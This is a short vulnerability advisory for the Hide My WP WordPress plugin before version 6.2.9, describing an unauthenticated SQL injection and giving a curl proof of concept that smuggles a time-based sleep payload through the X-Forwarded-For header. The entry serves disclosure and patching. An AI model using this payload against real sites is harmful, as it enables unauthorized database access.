WordPress Plugin Vulnerabilities

Hide My WP < 6.2.9 - Unauthenticated SQLi

Description

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

Proof of Concept

curl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1'+(select*from(select(sleep(20)))a)+'"

Affects Plugins

Fixed in 6.2.9
